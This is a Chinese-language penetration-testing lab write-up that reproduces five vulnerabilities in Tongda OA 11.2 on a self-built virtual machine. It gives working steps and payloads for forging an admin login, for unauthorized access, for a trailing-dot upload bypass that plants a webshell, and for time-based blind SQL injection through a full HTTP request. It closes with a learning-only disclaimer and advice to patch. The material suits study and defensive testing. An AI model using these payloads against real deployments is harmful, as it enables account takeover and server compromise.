1. 渗透背景:
目标站点:VM虚拟机 O A 版本:通达OA系统11.2 目标系统:Windows server 2008 R2 SP1 威胁等级:高危 渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User、PHPstorm、蚁剑、VMware
2. 存在漏洞
- 前台任意用户登录漏洞
- 前台未授权访问漏洞
- 管理后台文件上传漏洞
- 后台SQL注入漏洞
- 文件包含getshell
3. 漏洞复现
3.1 前台任意用户登录漏洞
3.1.1 漏洞原理:
根据网友提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:
/ispirit/login_code.php 、/ispirit/login_code_check.php 、/general/login_code_scan.php 、/general/index.php
通达OA源码使用zend5 加密,利用解密工具SeayDzend解密上述四个文件后分析源码。
-
/ispirit/login_code.php :  该文件用来获取codeuid 参数,如果不存在,则会自动生成一个codeuid ,并且将其写入CODE_LOGIN_PC 缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。 -
/general/login_code_scan.php :  在这一文件中,用户可以控制输入的关键参数uid ,在存在漏洞的通达OA版本中,后台数据库里uid 对应的用户是admin 管理员账户。并且将该数据存储在CODE_INFO_PC 缓存中,因为我们在第一个文件中获取的codeuid 存储在CODE_LOGIN_PC 中,所以这里在复现时需要指明source 变量为pc ,这里的username 则为admin ,而type 变量需要指明为confirm 。 -
/ispirit/login_code_check.php :  这里使用之前存储的两个缓存中的内容,一个用来获取codeuid ,一个用来获取通过Post 传入的uid 等关键信息。  这里是最为关键的位置,代码获取用户可控的参数uid ,并依次作为依据直接带入数据库进行查询。   随后将查询的信息直接写入session 中,通过这一步, session 中包含的就是管理员的身份信息。
3.1.2 手工抓包复现:
-
抓首页的包进行更改,访问/ispirit/login_code.php ,通过返回包获取codeuid  -
使用POST 方式访问/general/login_code_scan.php ,提交相关参数,其中codeuid 改为上一步中返回的值。 payload: uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin
 -
使用GET 方式访问/ispirit/login_code_check.php ,传入关键参数codeuid ,让后台进行代入查询,并返回携带管理员身份信息的凭证。  -
经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。  
3.1.3 POC自动获取复现:
-
在python环境下运行POC,返回cookie (POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User)  -
替换浏览器存储的cookie ,访问http://your-ip/general/ 成功以管理员身份登录OA系统。 ? 未更改cookie前:  更改cookie后: 
3.2 前台未授权访问漏洞
备注:需要后台有账户在线时使用 ?
- 访问
http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ,此时出现RELOGIN ,说明目前没有人在线,需要等待有人登录的时候再尝试。  - 在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。
 - 再次访问
http://your-ip/general/ ,成功进入系统。 
3.3 管理后台文件上传漏洞
-
登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录  -
点击系统管理 → 附件管理 → 添加存储目录 ,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach ,不在网站目录MYOA -> webroot 下) 注: 此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。  -
选择组织 → 管理员 → 附件上传 ,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。   -
根据返回的结果,拼接文件路径, http://your-ip/im/2106/704995893.shell.txt 在虚拟机中查看该目录,上传成功  -
利用windows系统会自动去掉符号“点”,上传shell.php. 文件进行绕过  -
根据返回的结果,拼接文件路径:http://your-ip/im/2106/shell.php ,蚁剑连接,成功getshell 
3.4 后台SQL注入漏洞
备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。
-
此漏洞存在于/general/appbuilder/web/calendar/calendarlist/getcallist 目录,该点存在盲注。(sqlmap未复现成功) 问题关键参数: starttime=12&endtime=15&view=month&condition=1 ? payload: starttime=12&endtime=15&view=month&condition=1
starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
-
Request包 POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: KEY_RANDOMDATA=1408; PHPSESSID=94jsta5nnj7ops79s11ji3v3s6
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
starttime=12&endtime=15&view=month&condition=1
starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
爆出部分信息:  
3.5 文件包含getshell
- Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。
 - 蚁剑连接shell成功验证。
 
4. 总结
针对本次实验复现的通达OA漏洞,解决方法为:尽快更新OA版本,及时打系统补丁。不过除了11.2版本外,此漏洞可能存在于其他版本中,可能也许只是漏洞代码的存放路径改变了,大神可自行分析(小弟我太白,现在真不会审计🤡)。后续版本也有许多其他问题,可能存在多版本也可能只有当前版本,等我有时间的时候再做做看吧(主要现在有些懒😢)
本次实验复现了通达OA其中一个版本的漏洞,目的仅是用于学习渗透测试的思路以及部分方法。实验环境完全由自己搭建在虚拟机环境下,自己搭建自己复现,没有任何现实中的操作!
(敲黑板!!!) 此篇仅供技术交流学习,请勿用于任何现实网络环境的破坏!做一个遵纪守法的好公民!
|